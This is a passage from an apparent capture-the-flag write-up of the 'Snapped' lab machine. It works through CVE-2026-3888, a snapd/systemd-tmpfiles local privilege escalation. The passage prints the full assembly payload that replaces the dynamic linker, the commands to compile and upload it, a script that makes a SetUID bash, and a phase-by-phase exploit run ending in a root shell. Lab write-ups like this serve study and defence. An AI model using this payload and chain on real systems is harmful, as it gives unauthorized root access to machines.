drwx------   2 root root 16384 Mar 18 17:08 lost+found
drwxr-xr-x   2 root root  4096 Mar 20 11:38 media
drwxr-xr-x   2 root root  4096 Aug 27  2024 mnt
drwxr-xr-x   2 root root  4096 Mar 20 11:38 opt
dr-xr-xr-x 352 root root     0 Mar 29 15:06 proc
drwx------   7 root root  4096 Mar 29 15:06 root
drwxr-xr-x  41 root root  1080 Mar 29 21:25 run
lrwxrwxrwx   1 root root     8 Apr 22  2024 sbin -> usr/sbin
drwxr-xr-x   2 root root  4096 Mar 20 11:38 sbin.usr-is-merged
drwxr-xr-x  12 root root  4096 Mar 20 11:38 snap
drwxr-xr-x   2 root root  4096 Aug 27  2024 srv
dr-xr-xr-x  13 root root     0 Mar 29 21:28 sys
drwxrwxrwt  17 root root  4096 Mar 29 19:51 tmp
drwxr-xr-x  12 root root  4096 Mar 20 11:38 usr
drwxr-xr-x  15 root root  4096 Mar 20 12:05 var

Both opt and srv are empty.

OS and Kernel

The operating system is Ubuntu 24.04 LTS:

jonathan@snapped:/$ cat /etc/os-release 
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

The kernel is 6.17.0 from March 6, less than three weeks before this box’s release:

jonathan@snapped:/$ uname -a
Linux snapped 6.17.0-19-generic #19~24.04.2-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar  6 23:08:46 UTC 2 x86_64 x86_64 x86_64 GNU/Linux

Services / Snap

There are a bunch of running services on Snapped:

jonathan@snapped:~$ systemctl list-units --type=service --state=running 2>/dev/null | head -30
  UNIT                          LOAD   ACTIVE SUB     DESCRIPTION
  accounts-daemon.service       loaded active running Accounts Service
  avahi-daemon.service          loaded active running Avahi mDNS/DNS-SD Stack
  colord.service                loaded active running Manage, Install and Generate Color Profiles
  cron.service                  loaded active running Regular background program processing daemon
  cups-browsed.service          loaded active running Make remote CUPS printers available locally
  cups.service                  loaded active running CUPS Scheduler
  dbus.service                  loaded active running D-Bus System Message Bus
  fwupd.service                 loaded active running Firmware update daemon
  gdm.service                   loaded active running GNOME Display Manager
  gnome-remote-desktop.service  loaded active running GNOME Remote Desktop
  kerneloops.service            loaded active running Tool to automatically collect and submit kernel crash signatures
  ModemManager.service          loaded active running Modem Manager
  NetworkManager.service        loaded active running Network Manager
  nginx-ui.service              loaded active running nginx-ui
  nginx.service                 loaded active running A high performance web server and a reverse proxy server
  open-vm-tools.service         loaded active running Service for virtual machines hosted on VMware
  polkit.service                loaded active running Authorization Manager
  power-profiles-daemon.service loaded active running Power Profiles daemon
  rsyslog.service               loaded active running System Logging Service
  rtkit-daemon.service          loaded active running RealtimeKit Scheduling Policy Service
  snapd.service                 loaded active running Snap Daemon
  ssh.service                   loaded active running OpenBSD Secure Shell server
  switcheroo-control.service    loaded active running Switcheroo Control Proxy service
  systemd-journald.service      loaded active running Journal Service
  systemd-logind.service        loaded active running User Login Management
  systemd-oomd.service          loaded active running Userspace Out-Of-Memory (OOM) Killer
  systemd-resolved.service      loaded active running Network Name Resolution
  systemd-timesyncd.service     loaded active running Network Time Synchronization
  systemd-udevd.service         loaded active running Rule-based Manager for Device Events and Files

Nothing unexpected here. The snapd service points to Snap, a software packaging and deployment system developed by Canonical for Ubuntu. snap is running version 2.63.1:

jonathan@snapped:~$ snap version
snap    2.63.1+24.04
snapd   2.63.1+24.04
series  16
ubuntu  24.04
kernel  6.17.0-19-generic

CVE-2026-3888

Identification

This one would be tricky to know to research except for the box name pointing at it, and that this vulnerability was making the rounds in the news about two weeks ago, a week before this box was released out of the normal cycle.

Searching for cves in this version of snap points to CVE-2026-3888:

image-20260329215900437

Other than the Dirty Sock repo for some reason (which I played with years ago), the rest are pointing at CVE-2026-3888 about two weeks ago.

Background

NIST describes CVE-2026-3888 as:

Local privilege escalation in snapd on Linux allows local attackers to get root privilege by re-creating snap’s private /tmp directory when systemd-tmpfiles is configured to automatically clean up this directory. This issue affects Ubuntu 16.04 LTS, 18.04 LTS, 20.04 LTS, 22.04 LTS, and 24.04 LTS.

The Ubuntu security page shows it is fixed in 24.04 with version 2.73:

image-20260329220140664

This is another bug from Qualys, first reported in their post, CVE-2026-3888: Important Snap Flaw Enables Local Privilege Escalation to Root. The issue comes from an interaction between two safety mechanisms:

  • snap-confine: Manages execution environments for snap applications (set-user-ID-root or set capabilities).
  • systemd-tmpfiles: Automatically cleans up temporary files and directories older than a defined threshold.

The steps to exploit are as follows:

  1. The attacker must wait for the system’s cleanup daemon (30 days in Ubuntu 24.04; 10 days in later versions) to delete a critical directory (/tmp/.snap) required by snap-confine.
  2. Once deleted, the attacker recreates the directory with malicious payloads.
  3. During the next sandbox initialization, snap-confine bind-mounts these files as root, allowing the execution of arbitrary code within the privileged context.

It’s a bit more complex than that. The snap-confine binary is SetUID root. When a user runs a snap (e.g. Firefox), it sets up a mount namespace. Part of that involves creating “mount mimics”, copying directory trees into /tmp/.snap/ so it can create writable mountpoints in otherwise read-only paths. If /tmp/.snap doesn’t exist (such as when systemd-tmpfiles deleted it), snap-confine rebuilds it. If an attacker can create /tmp/.snap first with attacker-owned content, snap-confine (running as root) will bind-mount those files into the namespace.

The trick used to exploit this is to replace ld-linux-x86-64.so.2 (the dynamic linker) with a binary that takes some attacker desired action. When SetUID snap-confine loads it, it will run whatever the attacker put in that library as root.

Searching for POCs for this exploit, there’s one by TheCyberGeek, who happens to be a co-author on Snapped.

Timers

This exploit relies on the Systemd timer that is looking for files and directories in temp locations older than 30 days to clean up. It is running here every minute:

jonathan@snapped:/$ systemctl list-timers systemd-tmpfiles-clean
NEXT                        LEFT LAST                         PASSED UNIT                         ACTIVATES                     
Sun 2026-03-29 22:30:05 EDT   5s Sun 2026-03-29 22:29:05 EDT 54s ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service

1 timers listed.
Pass --all to see loaded but inactive timers, too.

The default is for 30 days, but here it’s been updated to 4 minutes:

jonathan@snapped:/$ cat /usr/lib/tmpfiles.d/tmp.conf
#  This file is part of systemd.
#
#  systemd is free software; you can redistribute it and/or modify it
#  under the terms of the GNU Lesser General Public License as published by
#  the Free Software Foundation; either version 2.1 of the License, or
#  (at your option) any later version.

# See tmpfiles.d(5) for details

# Clear tmp directories separately, to make them easier to override
D /tmp 1777 root root 4m
#q /var/tmp 1777 root root 30d

Prep

To run the exploit, I’ll need to download TCG’s POC scripts. There are two versions, one that works for a SetUID snap-confine (like on Ubuntu 24.04), and one that works on a snap-confine with capabilities. For Snapped, it’s SetUID (as expected for this OS):

jonathan@snapped:~$ ls -l /usr/lib/snapd/snap-confine 
-rwsr-xr-x 1 root root 159016 Aug 20  2024 /usr/lib/snapd/snap-confine

I’ll clone the repo and check out the code. I’m going to walk through the steps of the exploit itself as I run it. The payload is librootshell_suid.c:

/*
 * librootshell.so — replaces ld-linux-x86-64.so.2
 * Calls setreuid(0,0) then execve(/tmp/sh)
 * Compile: gcc -nostdlib -static -o librootshell.so librootshell_suid.c
 */

void _start(void) {
    /* setreuid(0, 0) */
    __asm__ volatile (
        "xor %%rdi, %%rdi\n"
        "xor %%rsi, %%rsi\n"
        "mov $0x71, %%rax\n"   /* __NR_setreuid = 113 */
        "syscall\n"
        ::: "rax", "rdi", "rsi"
    );

    /* setregid(0, 0) */
    __asm__ volatile (
        "xor %%rdi, %%rdi\n"
        "xor %%rsi, %%rsi\n"
        "mov $0x72, %%rax\n"   /* __NR_setregid = 114 */
        "syscall\n"
        ::: "rax", "rdi", "rsi"
    );

    /* execve("/tmp/sh", {"/tmp/sh", NULL}, NULL) */
    __asm__ volatile (
        "mov $0x68732f706d742f, %%rax\n"  /* "/tmp/sh\0" */
        "push %%rax\n"
        "mov %%rsp, %%rdi\n"              /* path = "/tmp/sh" */
        "push $0\n"
        "push %%rdi\n"
        "mov %%rsp, %%rsi\n"              /* argv = {"/tmp/sh", NULL} */
        "xor %%rdx, %%rdx\n"              /* envp = NULL */
        "mov $0x3b, %%rax\n"              /* __NR_execve = 59 */
        "syscall\n"
        ::: "rax", "rdi", "rsi", "rdx"
    );
}

It’s C code but it’s all assembly because this replaces the dynamic linker itself, which means there’s no way to load shared libraries, so the C standard library isn’t available. It makes three system calls:

  • setreuid(0, 0) - Set the process user id to 0 (root)
  • setregid(0 ,0) - Set the process group id to 0 (root)
  • execve(/tmp/sh) - Run sh to start a shell.

I’ll compile the two binaries needed for the exploit:

oxdf@hacky$ gcc -O2 -static -o exploit exploit_suid.c
...[snip]...
oxdf@hacky$ gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
oxdf@hacky$ ls exploit librootshell.so 
exploit  librootshell.so

There are a bunch of warnings that don’t matter on the first compile, and afterwards two new binaries are present. I’ll upload them to Snapped with SCP:

oxdf@hacky$ sshpass -p linkinpark scp exploit librootshell.so jonathan@snapped.htb:/tmp/

Exploit

The exploit takes a few minutes to work. In the real world it could take up to 30 days, but here there’s a 4 minute clock. It runs on its own, but I’ll show what’s happening as it moves through its 7 phases.

I’ll run the exploit giving it the payload library as an argument:

jonathan@snapped:/tmp$ ./exploit librootshell.so 
================================================================
    CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] Payload: /tmp/librootshell.so (9152 bytes)

[Phase 1] Entering Firefox sandbox...
[+] Inner shell PID: 3083

Phase one creates a shell inside the Firefox snap namespace. It runs cd /tmp; sleep 86400, but /tmp is actually /tmp/snap-private-tmp/snap.firefox/tmp. As a non-root user, I can’t access this directory. But I can get to it from /proc noting the process id:

jonathan@snapped:~$ ls -la /proc/3083/root/tmp/
total 12
drwxrwxrwt  4 root root 4096 Mar 30 15:18 .
drwxr-xr-x 21 root root  540 Mar 30 15:17 ..
drwxr-xr-x  4 root root 4096 Mar 30 15:17 .snap
drwxrwxrwt  2 root root 4096 Mar 30 15:12 .X11-unix

Phase 2 is to wait for the cleanup to happen:

[Phase 2] Waiting for .snap deletion...
[*] Polling (up to 30 days on stock Ubuntu).
[*] Hint: use -s to skip.
[+] .snap deleted.

The last line only shows up once the .snap directory above is deleted. On Snapped, this is running every minute for files older than 4 minutes (rather than 30 days in standard deployments). After five minutes, the cleanup has come through, and the same directory as above is now empty:

jonathan@snapped:~$ ls -la /proc/3083/root/tmp/
total 4
drwxrwxrwt  2 root root 4096 Mar 30 15:21 .
drwxr-xr-x 21 root root  540 Mar 30 15:17 ..

Phase 3 destroys the cached mount namespace. snap-confine caches mount namespaces so it can reuse them on subsequent snap launches without rebuilding. If the old cached namespace still exists, snap-confine would reuse it and never read anything from /tmp/.snap, which means the attacker’s poisoned directory would be ignored. By forcing an error, the exploit ensures the next snap launch has to build a fresh namespace from scratch, which is when it will pick up the attacker’s content:

[Phase 3] Destroying cached mount namespace...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_noOPwb//dev: No such file or directory
[+] Namespace destroyed.

Phase 4 is the race condition:

[Phase 4] Setting up and running the race...
[*]   Working directory: /proc/3083/cwd
[*]   Building .snap and .exchange...
[*]   285 entries copied to exchange directory
[*]   Starting race...
[*]   Monitoring snap-confine (child PID 3718)...

[!]   TRIGGER — swapping directories...
[+]   SWAP DONE — race won!
[*]   ld-linux in namespace: jonathan:jonathan 755
[+]   Poisoned namespace PID: 3718

This is the core of the exploit. It first creates a legitimate .snap directory tree, then starts snap-confine. When snap-confine begins building the mount namespace, it validates the .snap directory and passes the check. But before snap-confine gets to the bind-mount step, the exploit uses rename() to atomically swap the legitimate .snap with a malicious one containing the attacker’s payload in place of ld-linux-x86-64.so.2. Since snap-confine doesn’t re-validate after the swap, it bind-mounts the attacker’s content into the namespace. After winning the race, I’ll see .snap back again, this time owned by jonathan:

jonathan@snapped:~$ ls -la /proc/3083/root/tmp/
total 20
drwxrwxrwt  4 root     root     4096 Mar 30 15:22 .
drwxr-xr-x 21 root     root      540 Mar 30 15:17 ..
-rw-rw-r--  1 jonathan jonathan   22 Mar 30 15:22 race_perms.txt
-rw-rw-r--  1 jonathan jonathan    5 Mar 30 15:22 race_pid.txt
drwxr-xr-x  4 jonathan jonathan 4096 Mar 30 15:22 .snap
drwxr-xr-x  2 root     root     4096 Mar 30 15:22 .X11-unix
jonathan@snapped:~$ ls -la /proc/3083/root/tmp/.snap/usr/lib/x86_64-linux-gnu | head -5
total 50960
drwxr-xr-x 16 jonathan jonathan   12288 Mar 30 15:22 .
drwxr-xr-x  4 jonathan jonathan    4096 Mar 30 15:22 ..
drwxr-xr-x  2 jonathan jonathan    4096 Mar 30 15:22 audit
drwxr-xr-x  2 jonathan jonathan    4096 Mar 30 15:22 cryptsetup

All of the libraries in /proc/3083/root/tmp/.snap/usr/lib/x86_64-linux-gnu are owned by jonathan.

It’s also written files with the permissions and pid for the next steps:

jonathan@snapped:~$ cat /proc/3083/root/tmp/race_perms.txt 
jonathan:jonathan 755
jonathan@snapped:~$ cat /proc/3083/root/tmp/race_pid.txt 
3718

Phase 5 involves injecting my payload into the poisoned namespace. Since the real dynamic linker has been replaced, only statically linked binaries will work in this namespace. The exploit puts a statically linked copy of busybox into the poisoned tmp:

jonathan@snapped:~$ file /proc/3718/root/tmp/busybox 
/proc/3718/root/tmp/busybox: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=351ba74c282274bdd56e030c641d226cab5c14b7, for GNU/Linux 3.2.0, stripped

And a shell script:

jonathan@snapped:~$ cat /proc/3718/root/tmp/sh 
#!/tmp/busybox sh
/tmp/busybox cp /bin/bash /var/snap/firefox/common/bash
/tmp/busybox chmod 04755 /var/snap/firefox/common/bash

It’s also overwritten the loader library with the SetUID payload:

jonathan@snapped:~$ md5sum /proc/3718/root/tmp/.snap/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
460ccba80644d82ff7fef5fffe31d9be  /proc/3718/root/tmp/.snap/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
jonathan@snapped:~$ md5sum librootshell.so
460ccba80644d82ff7fef5fffe31d9be  librootshell.so

So the full chain at this point is: snap-confine (SetUID root) will load the fake ld-linux-x86-64.so.2 (which is librootshell.so), which calls setreuid(0,0) and execve("/tmp/sh"). The /tmp/sh script uses busybox to copy /bin/bash to /var/snap/firefox/common/bash and set it SetUID root. That path is chosen because it’s writable from inside the snap namespace but accessible from the host, so the SUID bash persists after the namespace exits.

Phase 6 triggers this chain:

[Phase 6] Triggering root via SUID snap-confine...
[*]   snap-confine -> snap-confine (SUID trigger)
[*]   Exit status: 0

After this phase, there’s a SetUID bash copy in the Firefox snap directory:

jonathan@snapped:~$ ls -la /var/snap/firefox/common/bash 
-rwsr-xr-x 1 root jonathan 1396520 Mar 30 15:27 /var/snap/firefox/common/bash

Stage 7 just runs that SetUID bash to get a shell:

[Phase 7] Verifying...
[+] SUID root bash: /var/snap/firefox/common/bash (mode 4755)
[*] Cleaning up background processes...

================================================================
  ROOT SHELL: /var/snap/firefox/common/bash -p
================================================================

bash-5.1# 

And I can read the root flag:

bash-5.1# cat root.txt
b427e509************************